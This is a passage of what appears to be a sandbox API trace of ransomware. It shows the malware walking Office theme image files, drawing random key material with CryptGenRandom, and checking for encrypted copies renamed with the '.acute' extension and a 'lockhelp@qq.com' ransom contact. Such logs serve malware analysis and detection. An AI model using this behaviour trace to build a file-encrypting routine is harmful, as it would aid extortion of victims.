dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.176] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.177] ResetEvent (hEvent=0x2d4) returned 1 [0273.177] SetEvent (hEvent=0x2d8) returned 1 [0273.177] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.177] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0273.177] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=1379) returned 1 [0273.177] CloseHandle (hObject=0x310) returned 1 [0273.177] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif")) returned 0x20 [0273.177] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.177] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.177] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.178] ResetEvent (hEvent=0x2d4) returned 1 [0273.178] SetEvent (hEvent=0x2d8) returned 1 [0273.178] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.178] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0273.178] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=48115) returned 1 [0273.178] CloseHandle (hObject=0x310) returned 1 [0273.178] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png")) returned 0x20 [0273.178] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.178] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.179] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.179] ResetEvent (hEvent=0x2d4) returned 1 [0273.179] SetEvent (hEvent=0x2d8) returned 1 [0273.179] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.179] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0273.179] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=1364) returned 1 [0273.179] CloseHandle (hObject=0x310) returned 1 [0273.179] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif")) returned 0x20 [0273.179] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.180] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.180] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.180] ResetEvent (hEvent=0x2d4) returned 1 [0273.180] SetEvent (hEvent=0x2d8) returned 1 [0273.180] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.180] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0273.180] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=11573) returned 1 [0273.180] CloseHandle (hObject=0x310) returned 1 [0273.181] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png")) returned 0x20 [0273.181] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.181] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.181] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.181] ResetEvent (hEvent=0x2d4) returned 1 [0273.182] SetEvent (hEvent=0x2d8) returned 1 [0273.182] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.182] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0273.182] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2574) returned 1 [0273.182] CloseHandle (hObject=0x310) returned 1 [0273.182] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif")) returned 0x20 [0273.182] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.182] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.182] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.183] ResetEvent (hEvent=0x2d4) returned 1 [0273.183] SetEvent (hEvent=0x2d8) returned 1 [0273.183] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.183] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0273.183] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=37440) returned 1 [0273.183] CloseHandle (hObject=0x310) returned 1 [0273.183] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png")) returned 0x20 [0273.183] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.183] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.183] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.184] ResetEvent (hEvent=0x2d4) returned 1 [0273.184] SetEvent (hEvent=0x2d8) returned 1 [0273.184] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.184] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0273.184] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=1593) returned 1 [0273.184] CloseHandle (hObject=0x310) returned 1 [0273.184] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif")) returned 0x20 [0273.184] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.184] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.185] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.185] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0273.185] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=21745) returned 1 [0273.185] CloseHandle (hObject=0x310) returned 1 [0273.185] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png")) returned 0x20 [0273.185] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.186] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.186] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.186] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0273.186] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=1339) returned 1 [0273.186] CloseHandle (hObject=0x310) returned 1 [0273.186] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif")) returned 0x20 [0273.186] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.187] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.187] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.187] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0273.187] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=16738) returned 1 [0273.187] CloseHandle (hObject=0x310) returned 1 [0273.187] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png")) returned 0x20 [0273.187] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.187] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.188] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.188] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0273.188] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=1439) returned 1 [0273.188] CloseHandle (hObject=0x310) returned 1 [0273.188] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif")) returned 0x20 [0273.188] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.188] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.189] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.189] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0273.189] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=37112) returned 1 [0273.189] CloseHandle (hObject=0x310) returned 1 [0273.189] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png")) returned 0x20 [0273.189] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.189] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.190] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.190] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0273.190] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=1666) returned 1 [0273.190] CloseHandle (hObject=0x310) returned 1 [0273.191] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif")) returned 0x20 [0273.191] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.191] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.191] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.191] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0273.191] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=19563) returned 1 [0273.191] CloseHandle (hObject=0x310) returned 1 [0273.191] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png")) returned 0x20 [0273.192] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.192] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.192] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.192] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0273.192] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=1423) returned 1 [0273.193] CloseHandle (hObject=0x310) returned 1 [0273.193] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif")) returned 0x20 [0273.193] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.193] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.193] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.193] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0273.193] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=15737) returned 1 [0273.193] CloseHandle (hObject=0x310) returned 1 [0273.193] GetFileAttributesW 